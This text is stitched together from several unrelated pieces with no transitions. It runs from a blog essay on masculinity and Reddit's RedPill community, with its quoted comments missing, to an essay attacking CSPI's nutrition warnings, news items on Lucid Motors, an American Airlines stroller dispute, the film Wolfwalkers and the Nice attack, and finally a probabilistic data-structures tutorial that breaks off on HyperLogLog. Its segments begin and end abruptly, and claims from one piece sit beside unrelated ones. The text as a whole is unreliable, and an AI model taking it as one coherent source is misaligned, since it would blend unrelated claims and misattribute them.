See, male privilege isn’t a thing that all men get equal shares of. It’s more like a pie. Those at the top get the most, and as you go down, you get less and less, until the poor, black, gay men are scrabbling over the remaining crumbs. It’s all tied up with intersectionality and a whole lot of other complicated stuff I don’t want to get into right now.
Suffice to say that not all masculinities are considered equal or share equally in their privilege.
I’d like to switch tracks, now, and talk about masculine spaces. Many men (not just MRAs) discuss a lot about a lack of male spaces, feminists don’t tend to get the point. After all, a lot of spaces are male dominated. They’re all over the place. You can’t swing a dead cat without getting kitten guts on a man-in-charge-of-some-space. While looking for old-timey photographs of men being cuddly for my last post, however, I came across The Decline of Male Space.
Now, keep in mind that as far as I can tell, the man(men) behind this site are not MRAs, and seem, in fact, to be perfectly nice (even feminist-leaning) guys. This ain’t the screaming manosphere I’m linking to. But notice how he defines male space. A masculine space is not defined as a space where men can be men or masculinity can be discussed, or fly fishing and boxing can be practiced. Male space is defined by the absence of women. The suburban living room, you’ll note, is not some exclusive domain of the lady of the house. Men can and do congregate there. Men can and do practice the art of manliness there. It ceased being a male space when women were allowed in. Any half-versed MRA in the screaming manosphere will tell you the same thing. Masculine spaces cease being masculine when women are allowed in.
The women did not run the men out on rails. There was no kidnapping, no waving guns, no violence of any kind. The mere fact of existance inside the space is what changed it. Women were able to take over all male spaces simply by stepping inside. Any space with a woman in it became women’s space.
This point, that I and the screaming manosphere agree on (sort of), is an important point, so I’ll repeat it:
Masculine spaces cease being masculine when women are allowed in.
The smart asses in the back of the theater are already going ‘I know what you’re doing!’ but I’ll keep going for the sake of the rest of the audience.
Now, masculine spaces (traditionally masculine) never actually had an absence of women. They were just invisible, quietly doing whatever was expected of them and then retreating when the job was done. Women still scrubbed the floors, did the washing, (danced on the tables), and other womanly duties, and were accepted as long as they called no attention to themselves. This is even true in more modern “traditionally masculine” places — it was pointed out today that 4chan and XBox live were traditionally masculine spaces (Bwuh? But I digress). Those spaces were never exclusively male either, the women were just invisible or called no attention to themselves and thus were allowed to exist inside without threatening the masculinity of the space (or the men inside).
Ahhh, yes. The men inside. Masculinity, you see, is also defined by the absence of the feminine.
Masculinity itself ceases to be masculine when women are allowed in.
And thus we come back to the box, and the reason I’m writing this. Masculinity being defined by the absence of the feminine was fine, when females were stuffed into a (small, cramped, musty) box of their own, over there on the other side of the line graph, with a somewhat comforting buffer zone of third-genders between them. (Don’t know third gender? It’s a thing. A third gender thing. Look it up.) But then the great sundering happened (at least in the US) and women started doing that willy-nilly-woo-hoo-yelling running all over the masculine space in the line graph.
You heard me. Women existed inside the masculinity in the middle of the graph. The sheer fact of their existence, of course, made those spaces feminine, and the men retreated. No violence, never a shot fired. Women chased men out of the middle of the line graph simply by stepping out into it. Not on purpose, of course. As I mentioned, feminists still don’t quite understand that the existence of a woman negates all the masculinity, or why that should be. The men just up and left, retreating farther and farther into their boxes as more and more women show up and exist.
Femininity repels the masculine. Like oil and water. Many insist they can’t be mixed, they can’t be fluid, they can’t be collective abstract constructs. Their sense of self, again, is dependent on there being a clear divide. Male and female. Black and White. Same and opposite. The idea that these things can be shuffled, mixed up, tossed around and put back in any old order we want is anathema. The one thing hyper masculine men are afraid of is the feminine.
Now, you can get into all kind of feminist thought on why, but it doesn’t really matter why. The only thing that matters for our purposes is that traditional men will retreat, en masse, from any feminine encroachment. The easiest way to force one of these men to do something is to convince them that not doing it makes them, somehow, feminine.
Now let’s talk Reddit. Reddit.com is a glorified message board that is something like 80-90% male. It’s actually impossible to find a subreddit without at least a good percentage of men (Sure, SRSWomen will ban men, but only if they can find them — good luck with that). I say this so you’ll understand the bwuh reaction this blog post provoked. (Note: Dude is actually racist and misogynistic, read the comments or the rest of the blog at your own risk.) Now, ostensibly it’s something about all women wanting the cock. Whatever, I didn’t really read it. The point was, men create a space, then the women show up and ruin it.
This spawned a couple of threads, but the one I want to talk about happened on /r/Game0fDolls, or GameZero as the locals call it. The author shows up to “answer questions and take criticism.” I’ll note that he never actually addressed any of the criticism, but that’s not really what I wanna talk about. The one conversation he did take active part in starts here:
Note that he assumes that TheBluePill is all women. This is almost impossible on reddit, as mentioned, and cojoco corrects him. He’s corrected again, farther down, which leads to the money quotes:
At which point he exits the conversation.
He recognizes that gender roles are (at least partially) constructed, and explicitly puts all men not conforming to his idea of masculine into the feminine gender. This, of course, made my ears perk way up, because this is how the man box shrinks. It’s happening, in real time, right there in plain text. The men of TheRedPill have defined a masculinity that recognizes two categories of men (Alpha and Beta, beta being not quite as bad as female, but might verge on the third gender I mentioned above), and ceded the entire rest of the field to “women’s space.” This is, thus far, the most extreme shrinkage of the man box I’ve become familiar with. I won’t get into detailing all the ways in which they hate women, because I don’t have that kind of time and this post isn’t actually about women.
The important point is that anything outside of his definition of masculine (certainly including a parody of his masculinity, but not limited to that) is labeled feminine, and between the two subreddits, only the “real men” are in TheRedPill. The other men may as well be women. This is a very real pressure exerted on men who do not conform to TheRedPills ideas of gender and dating and women and romance and … well, anything else. The particular men he was engaged with are probably not swayed by this — they already know that he and his ideas are toxic, and are possibly more sure in their own brand of masculinity, but to someone reading this, who may or may not agree that RedPill ideas are toxic, who may be lonely, who may be discouraged, who may be searching for a way to define himself in an increasingly complicated world, this is a threat. A threat, and a clarion call. RedPill can *teach you* how to be a man, and coincidentally, save you from being a pussy.
And the traditionalists are the only ones talking. While there are plenty of men in the real world talking about how to “be men,” you’ll find very few on reddit who are not traditionalists. The ones you can find are also dismissed as part of the feminine, now (manginas, white knights, pussy-whipped, there are lots of words for them). There’s a vast wasteland somewhere in the middle, and the choices seem to be the comforting, if tiny, cramped, and musty man box, or with the terrifyingly feminine-accepting manginas.
It makes you fat (although Jacobson concedes "it has not been possible to prove that [soda] is responsible for the excess calories that lead to obesity"); it causes osteoporosis (because "people who drink soft drinks instead of milk or other dairy products likely will have lower calcium intakes"); it rots your teeth (because "refined sugar is one of several important factors that promote tooth decay"); it causes heart disease (because "high-sugar diets may contribute to heart disease in people who are 'insulin resistant'"); it gives you kidney stones (possibly because of the phosphoric acid in colas, but "more research needs to be done"); it is spiked with an addictive drug (caffeine) that "can cause nervousness, irritability, sleeplessness, and rapid heart beat"; and it contains other additives that can make children hyperactive and cause "life-threatening" allergic reactions.
Jacobson's list of soda hazards nicely illustrates the hyperbolic approach to health advice favored by CSPI, which the microbiologist turned food activist co-founded in 1971 after working for Ralph Nader. Today the D.C.-based CSPI is one of the country's most influential nanny groups, with an annual budget of $15 million and some 800,000 newsletter subscribers. It has the ability to grab headlines, kill sales of products it doesn't like, and shape regulatory policy. The group is also emblematic of a troubling cultural trend whose motto might be, "If it feels good, don't do it."
The typical CSPI report takes one or two plausible concerns, blows them way out of proportion, and throws in several dangers that are trivial, unlikely, or highly speculative, all in an effort to scare people into the one course of action CSPI knows to be right. In the case of soft drinks, Jacobson is plainly alarmed and disgusted by the fact that in 1997 Americans consumed "1.6 12-ounce cans [of soda] per day for every man, woman, and child" -- "more than twice the amount produced in 1974." He concludes that "parents and health officials need to recognize soft drinks for what they are -- liquid candy -- and do everything possible to return those beverages to their former, reasonable role as an occasional treat."
That recommendation displays another CSPI hallmark: extremism disguised as moderation. Is there really no legitimate alternative to the "occasional treat" model of soda consumption? Jacobson's own numbers suggest one. "Artificially sweetened diet sodas," he notes, "account for 24% of sales, up from 8.6% in 1970." Getting rid of the sugar addresses Jacobson's most credible concerns about soft drinks without forcing people to give them up completely. Many people find diet sodas to be perfectly adequate substitutes; they get the flavor they want without the calories.
But the CSPI mind-set rebels at the idea that people might enjoy themselves without paying a price. Jacobson warns that "artificial sweeteners may raise concerns" and asserts that "aspartame should be better tested." A CSPI list of "Food Additives to Avoid" says, "There are quite a few problems with aspartame." According to the 2002 CSPI book Restaurant Confidential, co-authored by Jacobson and CSPI nutritionist Jayne Hurley, "Questions have been raised about the safety of aspartame....Some people believe that it causes dizziness, hallucinations, or headaches, but controlled studies have not confirmed those problems. In addition, aspartame needs to be tested better to confirm that it does not cause cancer."
In other words, there is no evidence that aspartame is harmful, but we want to make you vaguely uneasy about drinking diet soda anyway. "Some people believe" that the moon landings were faked and that Elvis is still alive, but that doesn't make it so. And while it is always possible to call for more tests, the Food and Drug Administration (FDA) -- which if anything has an incentive to err on the side of keeping products off the market -- is satisfied with the studies that have already been done. The only verified risk from aspartame, indicated on the labels of products that contain it, applies to the rare consumer who has trouble metabolizing the amino acid phenylalanine, one of aspartame's components. Aside from that, the FDA says it "has not determined any consistent pattern of symptoms that can be attributed to the use of aspartame, nor is the agency aware of any recent studies that clearly show safety problems."
CSPI's resistance to diet soda -- an innovation you might think the organization would embrace, given its frequently expressed concern about the "epidemic of obesity" -- is a matter of prejudice, not science. It reflects the group's preference for the natural over the synthetic, its dislike of big business and mass trends, and, perhaps most fundamentally, its suspicion of pleasure without pain, of enjoyment unencumbered by fear. That suspicion is the thread that runs through CSPI's uneasiness about artificial sweeteners and caffeine, its dire warnings about fat and salt, its campaign against the fat substitute olestra, its hysteria about acrylamide in French fries, its discomfort with food irradiation, its condemnation of the imitation-meat product Quorn, and its opposition to alcohol consumption as a way of preventing heart disease. For those who share its asceticism, CSPI offers pseudoscientific rationales to justify their phobias.
Perpetual Lent
The charge that CSPI is puritanical has been heard before, of course, especially in connection with the group's highly publicized hit-and-run reports on restaurant food, which earned it a reputation as "the food police." But if CSPI were nothing but a bunch of pleasure-hating sourpusses, it would be hard to understand the organization's success in generating press coverage and attracting supporters.
CSPI is a hit with journalists largely because of its inflammatory rhetoric and dependable alarmism, which make for eye-catching stories. It also helps that CSPI tries to be clever and often succeeds. It awards the title "Food Porn" to calorie-packed products such as Mrs. Fields' Cinnamon Roll with Cream Cheese Icing. It responded to J.K. Rowling's soda marketing deal with a campaign to "save Harry Potter from the clutches of Coca-Cola," and it rightly ridiculed the government's use of NASCAR driver Jimmy Spencer, a Budweiser promoter, as an "anti-drug" spokesman. But Jacobson does not have a very thick skin when it's his turn to be mocked. In February he castigated Rick Berman, the restaurant industry lobbyist who runs the anti-CSPI Center for Consumer Freedom, for "the goofy and low-brow tone of his efforts." This from a man whose publicity stunts have included dressing as Tony the Tiger, sending a bag of decayed teeth to the Federal Trade Commission, and whacking at a 50-pound block of vegetable shortening with a hammer and chisel on TV.
It's easy to see why CSPI gets the news media's attention. For the group's supporters, the appeal is different. CSPI's Nutrition Action Healthletter, its main source of income, claims more than 800,000 subscribers. You don't get that kind of readership by constantly scaring and haranguing people. The publisher of CSPI's book Restaurant Confidential, a spin-off of the group's restaurant reports, says it is selling "very well," with 93,000 copies in print. Like it or not, there clearly is a market for CSPI's product.
Written in a breezy, easily digestible style, CSPI's literature does provide useful information on topics such as the nutritional profiles of various vegetables, the availability of "light" menu items, and the dubious advantages of bottled water. More important, CSPI models a way of life that sets its followers apart from their less health-conscious, less eco-aware neighbors. "Instead of the conspicuous consumption that [economist Thorstein] Veblen talked about," the restaurant critic Robert Shoffner observed in a 1994 interview with the Washingtonian, CSPI pushes "conspicuous self-denial....They want us in a state of perpetual Lent." Like religious dietary laws, the rules laid down by CSPI create distinctions, provide structure, and invest everyday decisions with meaning. Underlying this system is an ethic that seems to value discipline and sacrifice for their own sake.
For those who live according to CSPI's edicts, there is never an easy way out. Consider fish, one of the few bright spots in the group's restaurant reviews: low in saturated fat and high in B vitamins and minerals, not to mention the omega-3 fatty acids that may help prevent heart attacks. As long as you don't order it fried or with a sauce, or get butter on your baked potato or dressing on your salad, fish seems to be a good choice in CSPI's book.
But that depends on which book you read. According to the 2002 CSPI book Is Our Food Safe?: A Consumer's Guide to Protecting Your Health and the Environment, "eating fish or shellfish can wipe out that species," "wipe out other species," and "pollute and destroy valuable habitats." CSPI adherents need to stay on top of which seafood species and varieties are harvested in a "sustainable," environmentally sensitive manner. Fortunately, "four knowledgeable organizations...have placed lists of good or problematic seafood on their websites," and "some of the groups offer handy wallet-sized cards summarizing their recommendations," although "a few of their conclusions are different."
The authors of Is Our Food Safe? -- Warren Leon, executive director of the Northeast Sustainable Energy Association, and Caroline Smith DeWaal, CSPI's director of food safety -- concede that "most consumers won't want to try to keep track of 40 to 50 different seafood types when they go to the grocery store or out to eat." Only the select few, inspired by a noble vision of eating in harmony with the oceans, will go to such lengths. And in case you're wondering, Leon and DeWaal say fish farming is "no panacea" because "it can actually increase pollution and damage essential natural ecosystems."
CSPI's advice about fruits and vegetables also seems designed to test eager acolytes. Naturally, you should eat lots of them, because they're good for you. Just keep in mind that they may be killing you. "In 1987," say Leon and DeWaal, "the Environmental Protection Agency (EPA) estimated that pesticide residues on food might cause cancer in as many as 6,000 people annually in the United States." Given the uncertainties about extrapolating from huge doses of a chemical in rodents to tiny doses in humans, the actual number may be closer to zero. "No definitive research studies have linked pesticide residues in food to human illnesses," the authors concede. "For the individual consumer, [the] risk may seem small. But it certainly isn't small if it is your family member who faces chemotherapy or the cloud of living with cancer."
Saudi Arabia's Public Investment Fund (PIF), the fund Elon Musk has said could help take Tesla private, is considering an investment in a electric-car maker Lucid Motors, according to Reuters.
The report comes almost two full weeks after the Financial Times first reported the kingdom's sovereign-wealth fund had bought a 3% to 5% stake in Tesla. Elon Musk then tweeted that funding had been secured to take the electric-car maker private at $420 a share.
Musk later said he used the phrase "funding secured" because he believed there was "no question" Saudi Arabia's PIF would provide funding to help take Tesla private. That's funding's since come in to question.
Lucid was founded in 2007 under its former name, Atieva, and the Newark, California-based company began developing its first electric vehicle in 2014. The car, called Lucid Air, debuted in late 2016 as a 1,000-horsepower electric luxury sedan that Lucid said would rival Tesla's highly successful Model S.
The Lucid Air will be the first vehicle out of the company's stable when it goes into production in 2019, the company said. Lucid invited Business Insider to check out a nearly finished representation of the car at its headquarters earlier this year.
A video posted to Facebook on Friday by Surain Adyanthaya -- a passenger onboard American Airlines flight 591, from San Francisco to Dallas -- shows an intense confrontation between a flight attendant and at least two passengers at the front of the aircraft while it is still on the tarmac in San Francisco.
The heated moment began when a flight attendant took away a stroller from a female passenger, Adyanthaya told ABC affiliate WFAA in Dallas, which reported that the woman was from Argentina and traveling with her two children.
The nearly three-minute video starts with the woman crying and asking the flight attendant to give her back the stroller.
The incident appears to escalate when a male passenger comes to the woman's defense, saying to the flight attendant, "Hey bud, hey bud, you do that to me and I'll knock you flat!"
The flight attendant, who is visibly angry, points his finger at the passenger and says, "Hey, you stay out of this!"
A pilot appears to attempt to calm down the flight attendant.
During the entire video, the female passenger continues to be heard crying.
American Airlines responded publicly to the incident shortly after the video began to circulate online, announcing in a statement that the flight attendant had been put on leave while the incident was investigated and that the woman and her family were upgraded to first-class for the remainder of their international trip.
An American Airlines spokesperson told ABC News that the woman passenger brought a double-wide stroller onto a single-aisle plane.
The airlines’ rules for passengers traveling with children say strollers should be checked at the gate.
The airline spokesperson told ABC News that when the passenger tried to jam the stroller down the plane aisle, a flight attendant tried to tell her she needed to gate-check it. The woman began to cry, after which another passenger got involved, and the situation escalated from there, according to the airline spokesperson.
The spokesperson said the flight attendant should not have become confrontational with any passenger.
United CEO feels 'shame,' passengers will be compensated
United changes policy, crew can't displace seated passengers
United CEO says no one will be fired for dragging incident
American Airlines in its statement said, "What we see on this video does not reflect our values or how we care for our customers. We are deeply sorry for the pain we have caused this passenger and her family and to any other customers affected by the incident."
The statement continued, "The actions of our team member captured here do not appear to reflect patience or empathy, two values necessary for customer care. In short, we are disappointed by these actions. The American team member has been removed from duty while we immediately investigate this incident."
As he has done with earlier works, Moore uses Celtic folklore as a window into our contemporary world. Thematic undercurrents of wilderness versus order, and man’s impulse to control nature, are key to the world of Wolfwalkers.
Visually too, Moore’s new film retains a connection to his other films. Firstly, through his commitment to hand-drawn animation. Drawing isn’t simply a defiant aesthetic choice in our cg times, but integral to how Moore wants to tell his stories. “We are hoping to show how the characters feel with great acting, movement and facial expressions, but also with how they are drawn,” he explained to Cartoon Brew. “As our characters moods and emotions change, the linework can become more expressive.”
Moore will co-direct the film with longtime collaborator Ross Stewart, who was the art director of The Secret of Kells, and co-directed with Moore the Cartoon Saloon sequence in the anthology feature The Prophet. “Since we came up with the idea many years ago it felt natural that we would co-direct this film together,” Moore said.
Moore and Stewart have spent time developing a graphic language that reinforces the themes and values of their story through the visual design of the film. As seen in scenes from the trailer, the Puritans and English army are rendered in an ascetic woodblock style, while the wolfwalkers and wolves exhibit a freer, more expressive line style. “When we see the world from the point of view the wolves, it’s animated in charcoal with a very limited palette and color only where there are scents,” Moore said. “In contrast to the block print style in Kilkenny we have a much looser look to the forest — lots of ink splats and loose watercolors and scribbly pencil lines.”
Taking inspiration from block prints and artwork of the period, Wolfwalkers will be set in Kilkenny, Ireland, in the mid-1600s around the time of the English civil war. Moore and his crew haven’t had to travel far to research the film: modern-day Kilkenny is where their studio Cartoon Saloon is located.
The small Irish town still has retained its historic character throughout the centuries. “It’s interesting to imagine how places we see everyday might have looked back then,” Moore observed. “Since the folklore and history we are drawing from is local it’s a really nice way for the crew who are not from here to connect with the city.”
The studio created this mini-film for Cartoon Movie that shows their crew exploring local surroundings – both man-made and natural:
Will Collins, who wrote Song of the Sea, is writing the script for Wolfwalkers. “Ross and I have lots of story meetings with Will as we work on the visuals,” said Moore. “They inform each other for sure. Certainly many visual concepts and ideas influence the script, and vice versa.”
To date, Cartoon Saloon has received some development financing from the Irish Film Board and the E.U.’s Creative Europe program. The studio is still putting together financing for the production of the film. Moore, who is a co-owner in Cartoon Saloon, is optimistic and believes that the budget will be in place by the end of this year, allowing full production to begin in early 2018.
Maryam Violette said she saw bodies on the ground with either the Muslim head covering hijab or some clothing of Arabic nature.
Many on social media are taking her statements as evidence that that driver, a French citizen of Tunisian ancestry, was indiscriminate as he ploughed through the Bastille Day crowd near the French Riviera.
“There were so many Muslim people who were victims because I could see they had scarves over their head and some were speaking Arabic, one family lost a mother and in Arabic, they were saying she’s a martyr,” Violette, who works for the ZananTV, told the Guardian.
Arabs feeling ‘immense fear’
Few Arab sources Al Arabiya English spoke to in Nice over the phone described the absence of police and emergency personnel during the first 30 minutes of the attack. Syrian graduate student Zehni Khairullah told Al Arabiya English of the immense fear Arab tourists and students felt who were near the attack.
“What I experienced in Nice last night will never leave my memory. People running around and screaming while I was a kilometer away from the location of the attack,” Khairullah said. “Walking back to the residence was not an as easy. Every car, motorcycle or person we saw, we stopped, counted to 10 in fear that this person might shoot us,” he recounted.
Khairullah, who was with a fellow Syrian and seven other Jordanian students, was attending a European Innovation Academy workshop on web development for the past week.
“We are being advised to stay indoors in the residence and not move out in the streets. Many are nervous and scared and waiting for more information,” he said.
Warning: Images and footage in video below contains graphic content. Viewer discretion advised.
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'Waiting for more information'
Many Arabs, especially from the Arab Gulf countries, vacation in the French Riviera areas during the summer months. Reporting from Nice, Al Arabiya reporter Nada al-Tuwaijri said that she, along with several Arab tourists, were 10 minutes away from the scene when the attack took place.
“Ten minutes away after this happened, right after the fireworks took place in celebration of the 14th of July, we didn't feel an immediate impact,” our reporter said. “People couldn't find any policemen or someone to inform them whether to evacuate the restaurants or not.”
As of Friday morning, restaurants and shops remained closed to the public in Nice especially near the promenade, although Al Arabiya's reporter on the ground couldn't confirm whether this was a direct result of the Bastille Day holiday or the attack.
“As of noon, we haven't heard confirmed reports whether any Gulf Arab nationals were killed or injured in the attack as news coming out has been slow. People are told to expect more news as the day continues.” al-Tuwaijri reported.
The shifting landscape of data architecture parallels the way we’re designing systems today. Specifically, the evolution of monolithic to service-oriented architecture necessitates a change in the way we do data integration. The traditional normalization approach doesn’t cut it. Our systems are composed of databases, caches, search indexes, data warehouses, and a multitude of other components. Moreover, there’s an increasing demand for online, real-time processing of this data that’s tantamount to the growing popularity of large-scale, offline processing along the lines of Hadoop. This presents an interesting set of new challenges, namely, how do we drink from the firehose without getting drenched?
The answer most likely lies in frameworks like Samza, Storm, and Spark Streaming. Similarly, tools like StatsD solve the problem of collecting real-time analytics. However, this discussion is meant to explore some of the primitives used in stream processing. The ideas extend far beyond event sourcing, generalizing to any type of data stream, unbounded or not.
Batch vs. Streaming
With offline or batch processing, we often have some heuristics which provide insight into our data set, and we can typically afford multiple passes of the data. Without a strict time constraint, data structures are less important. We can store the entire data set on disk (or perhaps across a distributed file system) and process it in batches.
With streaming data, however, there’s a need for near real-time processing—collecting analytics, monitoring and alerting, updating search indexes and caches, etc. With web crawlers, we process a stream of URLs and documents and produce indexed content. With websites, we process a stream of page views and update various counters and gauges. With email, we process a stream of text and produce a filtered, spam-free inbox. These cases involve massive, often limitless data sets. Processing that data online can’t be done with the conventional ETL or MapReduce-style methods, and unless you’re doing windowed processing, it’s entirely impractical to store that data in memory.
Framing the Problem
As a concrete example of stream processing, imagine we want to count the number of distinct document views across a large corpus, say, Wikipedia. A naive solution would be to use a hash table which maps a document to a count. Wikipedia has roughly 35 million pages. Let’s assume each document is identified by a 16-byte GUID, and the counters are stored as 8-byte integers. This means we need in the ball park of a gigabyte of memory. Given today’s hardware, this might not sound completely unreasonable, but now let’s say we want to track views per unique IP address. We see that this approach quickly becomes intractable.
To illustrate further, consider how to count the cardinality of IP addresses which access our website. Instead of a hash table, we can use a bitmap or sparse bit array to count addresses. There are over four billion possible distinct IPv4 addresses. Sure, we could allocate half a gigabyte of RAM, but if you’re developing performance-critical systems, large heap sizes are going to kill you, and this overhead doesn’t help.
A Probabilistic Approach
Instead, we turn to probabilistic ways of solving these problems. Probabilistic algorithms and data structures seem to be oft-overlooked, or maybe purposely ignored, by system designers despite the theory behind them having been around for a long time in many cases. The goal should be to move these from the world of academia to industry because they are immensely useful and widely neglected.
Probabilistic solutions trade space and performance for accuracy. While a loss in precision may be a cause for concern to some, the fact is with large data streams, we have to trade something off to get real-time insight. Much like the CAP theorem, we must choose between consistency (accuracy) and availability (online). With CAP, we can typically adjust the level in which that trade-off occurs. This space/performance-accuracy exchange behaves very much the same way.
The literature can get pretty dense, so let’s look at what some of these approaches are and the problems they solve in a way that’s (hopefully) understandable.
Bloom Filters
The Bloom filter is probably the most well-known and, conceptually, simplest probabilistic data structure. It also serves as a good foundation because there are a lot of twists you can put on it. The theory provides a kernel from which many other probabilistic solutions are derived, as we will see.
Bloom filters answer a simple question: is this element a member of a set? A normal set requires linear space because it stores every element. A Bloom filter doesn’t store the actual elements, it merely stores the “membership” of them. It uses sub-linear space opening the possibility for false positives, meaning there’s a non-zero probability it reports an item is in the set when it’s actually not. This has a wide range of applications. For example, a Bloom filter can be placed in front of a database. When a query for a piece of data comes in and the filter doesn’t contain it, we completely bypass the database.
The Bloom filter consists of a bit array of length m and k hash functions. Both of these parameters are configurable, but we can optimize them based on a desired rate of false positives. Each bit in the array is initially unset. When an element is “added” to the filter, it’s hashed by each of the k functions, h 1 …h k , and modded by m, resulting in k indices into the bit array. Each bit at the respective index is set.
To query the membership of an element, we hash it and check if each bit is set. If any of them are zero, we know the item isn’t in the set. What happens when two different elements hash to the same index? This is where false positives are introduced. If the bits aren’t set, we know the element wasn’t added, but if they are, it’s possible that some other element or group of elements hashed to the same indices. Bloom filters have false positives, but false negatives are impossible—a member will never be reported incorrectly as a non-member. Unfortunately, this also means items can’t be removed from the filter.
It’s clear that the likelihood of false positives increases with each element added to the filter. We can target a specific probability of false positives by selecting an optimal value for m and k for up to n insertions. While this implementation works well in practice, it has a drawback in that some elements are potentially more sensitive to false positives than others. We can solve this problem by partitioning the m bits among the k hash functions such that each one produces an index over its respective partition. As a result, each element is always described by exactly k bits. This prevents any one element from being especially sensitive to false positives. Since calculating k hashes for every element is computationally expensive, we can actually perform a single hash and derive k hashes from it for a significant speedup.
A Bloom filter eventually reaches a point where all bits are set, which means every query will indicate membership, effectively making the probability of false positives one. The problem with this is it requires a priori knowledge of the data set in order to select optimal parameters and avoid “overfilling.” Consequently, Bloom filters are ideal for offline processing and not so great for dealing with streams. Next, we’ll look at some variations of the Bloom filter which attempt to deal with this issue.
Scalable Bloom Filter
As we saw earlier, traditional Bloom filters are a great way to deal with set-membership problems in a space-efficient way, but they require knowing the size of the data set ahead of time in order to be effective. The Scalable Bloom Filter (SBF) was introduced by Almeida et al. as a way to cope with the capacity dilemma.
The Scalable Bloom Filter dynamically adapts to the size of the data set while enforcing a tight upper bound on the rate of false positives. Like the classic Bloom filter, false negatives are impossible. The SBF is essentially an array of Bloom filters with geometrically decreasing false-positive rates. New elements are added to the last filter. When this filter becomes “full”—more specifically, when it reaches a target fill ratio—a new filter is added with a tightened error probability. A tightening ratio, r, controls the growth of new filters.
Testing membership of an element consists of checking each of the filters. The geometrically decreasing false-positive rate of each filter is an interesting property. Since the fill ratio determines when a new filter is added, it turns out this progression can be modeled as a Taylor series which allows us to provide a tight upper bound on false positives using an optimal fill ratio of 0.5 (once the filter is 50% full, a new one is added). The compounded probability over the whole series converges to a target value, even accounting for an infinite series.
We can limit the error rate, but obviously the trade-off is that we end up allocating memory proportional to the size of the data set since we’re continuously adding filters. We also pay some computational cost on adds. Amortized, the cost of filter insertions is negligible, but for every add we must compute the current fill ratio of the filter to determine if a new filter needs to be added. Fortunately, we can optimize this by computing an estimated fill ratio. If we keep a running count of the items added to the filter, n, the approximate current fill ratio, p, can be obtained from the Taylor series expansion with where m is the number of bits in the filter. Calculating this estimate turns out to be quite a bit faster than computing the actual fill ratio—fewer memory reads.
To provide some context around performance, adds in my Go implementation of a classic Bloom filter take about 166 ns on my MacBook Pro, and membership tests take 118 ns. With the SBF, adds take 422 ns and tests 113 ns. This isn’t a completely fair comparison since, as the SBF grows over time, tests require scanning through each filter, but certainly the add numbers are intuitive.
Scalable Bloom Filters are useful for cases where the size of the data set isn’t known a priori and memory constraints aren’t of particular concern. It’s an effective variation of a regular Bloom filter which generally requires space allocation orders-of-magnitude larger than the data set to allow enough headroom.
Stable Bloom Filter
Classic Bloom filters aren’t great for streaming data, and Scalable Bloom Filters, while a better option, still present a memory problem. Another derivative, the Stable Bloom Filter (SBF), was proposed by Deng and Rafiei as a technique for detecting duplicates in unbounded data streams with limited space. Most solutions work by dividing the stream into fixed-size windows and solving the problem within that discrete space. This allows the use of traditional methods like the Bloom filter.
The SBF attempts to approximate duplicates without the use of windows. Clearly, we can’t store the entire history of an infinite stream in limited memory. Instead, the thinking is more recent data has more value than stale data in many scenarios. As an example, web crawlers may not care about redundantly fetching a web page that was crawled a long time ago compared to fetching a page that was crawled more recently. With this impetus, the SBF works by representing more recent data while discarding old information.
The Stable Bloom Filter tweaks the classic Bloom filter by replacing the bit array with an array of m cells, each allocated d bits. The cells are simply counters, initially set to zero. The maximum value, Max, of a cell is . When an element is added, we first have to ensure space for it. This is done by selecting P random cells and decrementing their counters by one, clamping to zero. Next, we hash the element to k cells and set their counters to Max. Testing membership consists of probing the k cells. If any of them are zero, it’s not a member. The Bloom filter is actually a special case of an SBF where d is one and P is zero.
Like traditional Bloom filters, an SBF has a non-zero probability of false positives, which is controlled by several parameters. Unlike the Bloom filter, an SBF has a tight upper bound on the rate of false positives while introducing a non-zero rate of false negatives. The false-positive rate of a classic Bloom filter eventually reaches one, after which all queries result in a false positive. The stable-point property of an SBF means the false-positive rate asymptotically approaches a configurable fixed constant.
Stable Bloom Filters lend themselves to situations where the size of the data set isn’t known ahead of time and memory is bounded. For example, an SBF can be used to deduplicate events from an unbounded event stream with a specified upper bound on false positives and minimal false negatives. In particular, if the stream is not uniformly distributed, meaning duplicates are likely to be grouped closer together, the rate of false positives becomes immaterial.
Counting Bloom Filter
Conventional Bloom filters don’t allow items to be removed. The Stable Bloom Filter, on the other hand, works by evicting old data, but its API doesn’t expose a way to remove specific elements. The Counting Bloom Filter (CBF) is yet another twist on this structure. Introduced by Fan et al. in Summary Cache: A Scalable Wide-Area Web Cache Sharing Protocol, the CBF provides a way of deleting data from a filter.
It’s actually a very straightforward approach. The filter comprises an array of n-bit buckets similar to the Stable Bloom Filter. When an item is added, the corresponding counters are incremented, and when it’s removed, the counters are decremented.
Obviously, a CBF takes n-times more space than a regular Bloom filter, but it also has a scalability limit. Unless items are removed frequently enough, a counting filter’s false-positive probability will approach one. We need to dimension it accordingly, and this normally requires inferring from our data set. Likewise, since the CBF allows removals, it exposes an opportunity for false negatives. The multi-bit counters diminish the rate, but it’s important to be cognizant of this property so the CBF can be applied appropriately.
Inverse Bloom Filter
One of the distinguishing features of Bloom filters is the guarantee of no false negatives. This can be a valuable invariant, but what if we want the opposite of that? Is there an efficient data structure that can offer us no false positives with the possibility of false negatives? The answer is deceptively simple.
Jeff Hodges describes a rather trivial—yet strikingly pragmatic—approach which he calls the “opposite of a Bloom filter.” Since that name is a bit of a mouthful, I’m referring to this as the Inverse Bloom Filter (IBF).
The Inverse Bloom Filter may report a false negative but can never report a false positive. That is, it may indicate that an item has not been seen when it actually has, but it will never report an item as seen which it hasn’t come across. The IBF behaves in a similar manner to a fixed-size hash map of m buckets which doesn’t handle conflicts, but it provides lock-free concurrency using an underlying CAS.
The test-and-add operation hashes an element to an index in the filter. We take the value at that index while atomically storing the new value, then the old value is compared to the new one. If they differ, the new value wasn’t a member. If the values are equivalent, it was in the set.
The Inverse Bloom Filter is a nice option for dealing with unbounded streams or large data sets due to its limited memory usage. If duplicates are close together, the rate of false negatives becomes vanishingly small with an adequately sized filter.
HyperLogLog
Let’s revisit the problem of counting distinct IP addresses visiting a website. One solution might be to allocate a sparse bit array proportional to the number of IPv4 addresses. Alternatively, we could combine a Bloom filter with a counter. When an address comes in and it’s not in the filter, increment the count. While these both work, they’re not likely to scale very well. Rather, we can apply a probabilistic data structure known as the HyperLogLog (HLL). First presented by Flajolet et al. in 2007, HyperLogLog is an algorithm which approximately counts the number of distinct elements, or cardinality, of a multiset (a set which allows multiple occurrences of its elements).
Imagine our stream as a series of coin tosses. Someone tells you the most heads they flipped in a row was three. You can guess that they didn’t flip the coin very many times. However, if they flipped 20 heads in a row, it probably took them quite a while. This seems like a really unconvincing way of estimating the number of tosses, but from this kernel of thought grows a fruitful idea.
